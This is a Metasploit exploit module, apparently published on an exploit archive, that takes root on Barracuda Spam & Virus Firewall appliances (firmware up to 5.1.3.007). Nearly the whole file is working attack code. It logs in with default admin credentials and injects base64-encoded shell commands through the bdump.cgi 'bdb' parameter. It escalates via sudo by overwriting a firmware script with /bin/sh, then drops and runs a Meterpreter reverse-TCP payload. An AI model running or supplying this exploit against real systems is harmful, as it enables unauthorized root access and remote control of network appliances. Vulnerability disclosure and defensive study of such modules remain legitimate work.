# Exploit Title: Barracuda Spam & Virus Firewall Post Auth Remote Root Exploit # Date: 07/21/16 # Exploit Author: xort xort@blacksecurity.org # Vendor Homepage: https://www.barracuda.com/ # Software Link: https://www.barracuda.com/landing/pages/spamfirewall/ # Version: Spam and Virus Firewall <= 5.1.3.007 # Tested on: Spam & Virus Firewall 5.1.3.007 # CVE : None. require 'msf/core' require 'date' require "base64" class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Barracuda Spam & Virus Firewall (bdump.cgi) Post Auth Root Exploit', 'Description' => %q{ This module exploits a remote command execution vulnerability in the Barracuda Spam & Virus firewall firmware version <= 5.1.3.007 by exploiting a vulnerability in the web administration interface. By sending a specially crafted request it's possible to inject system commands while escalating to root do to relaxed sudo configuration on the local machine. }, 'Author' => [ 'xort' ], # disclosure and exploit module 'References' => [ [ 'none', 'none'] ], 'Platform' => [ 'linux'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp' }, 'Targets' => [['Spam Firewall firmware: 5x', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('PASSWORD', [ false, 'Password', "admin" ]), OptString.new('USERNAME', [ true, 'Admin Username', "admin" ]), OptString.new('CMD', [ false, 'Command to execute', "" ]), Opt::RPORT(8000), ], self.class) end def do_login(username, password_clear, et) vprint_status( "Logging into machine with credentials...\n" ) # vars timeout = 1550; enc_key = Rex::Text.rand_text_hex(32) # send request res = send_request_cgi( { 'method' => 'POST', 'uri' => "/cgi-mod/index.cgi", 'vars_post' => { 'password_clear' => password_clear, 'real_user' => "", 'login_state' => "out", 'enc_key' => enc_key, 'et' => et, 'locale' => "en_US", 'user' => username, 'password' => Digest::MD5.hexdigest(username+enc_key), 'enctype' => "MD5", 'password_entry' => "", } }, timeout) # get rid of first yank password = res.body.split('\n').grep(/(.*)id=\"password\" value=\"(.*)\"/){$2}[0] #change to match below for more exact result et = res.body.split('\n').grep(/(.*)id=\"et\" value=\"([^\"]+)\"/){$2}[0] return password, et end def run_command(username, password, et, cmd) # file to replace sudo_cmd_exec = "/home/product/code/firmware/current/bin/mysql_add_cluster_user.sh" sudo_run_cmd_1 = "sudo /bin/cp /bin/sh #{sudo_cmd_exec} ; sudo /bin/chmod +x #{sudo_cmd_exec}" sudo_run_cmd_2 = "sudo #{sudo_cmd_exec} -c " vprint_status( "Running Command...\n" ) # random filename to dump too + 'tmp' HAS to be here. b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4)) # decoder stubs - tells 'base64' command to decode and dump data to temp file b64decode1 = "echo \"" b64decode2 = "\" | base64 -d >" + b64dumpfile # base64 - encode with base64 so we can send special chars and multiple lines cmd = Base64.strict_encode64(cmd) # Create injection string. # a) package the base64 decoder with encoded bytes # b) attach a chmod +x request to make the script created (b64dumpfile) executable # c) execute decoded base64 dumpfile injection_string = b64decode1 + cmd + b64decode2 + "; /bin/chmod +x " + b64dumpfile + "; " + sudo_run_cmd_1 + "; " + sudo_run_cmd_2 + b64dumpfile + " ; rm " + b64dumpfile vprint_status( "sending..." ) res = send_request_cgi({ 'method' => 'GET', 'uri' => "/cgi-mod/bdump.cgi", 'headers' => { 'Accept' => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", 'UserAgent' => "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0", 'Accept-Language' => "en-US,en;q=0.5" }, 'vars_get' => { 'password' => password, 'et' => et, 'user' => username, 'role' => 'admin', '_dc' => '', 'bdb' => '`' + injection_string + '`', 'locale' => 'en_US' } }) end def exploit # params timeout = 1550; real_user = ""; et = Time.now.to_i user = datastore['USERNAME'] password = datastore['PASSWORD'] # do login and get password hash password_hash, et = do_login(user, password, et) vprint_status("got password hash: #{password_hash}\n") sleep(2) # clean up hanging prior request run_command(user, password_hash, et, ("ps -df|grep bdump|awk '{print $2}' | xargs kill -9")) sleep(5) #if no 'CMD' string - add code for root shell if not datastore['CMD'].nil? and not datastore['CMD'].empty? cmd = datastore['CMD'] # Encode cmd payload encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') # kill stale calls to bdump from previous exploit calls for re-use run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" )) else # Encode payload to ELF file for deployment elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw) encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2') # kill stale calls to bdump from previous exploit calls for re-use run_command(user, password_hash, et, ("sudo /bin/rm -f /tmp/m ;printf \"#{encoded_elf}\" > /tmp/m; chmod +rx /tmp/m ; /tmp/m" )) handler end end end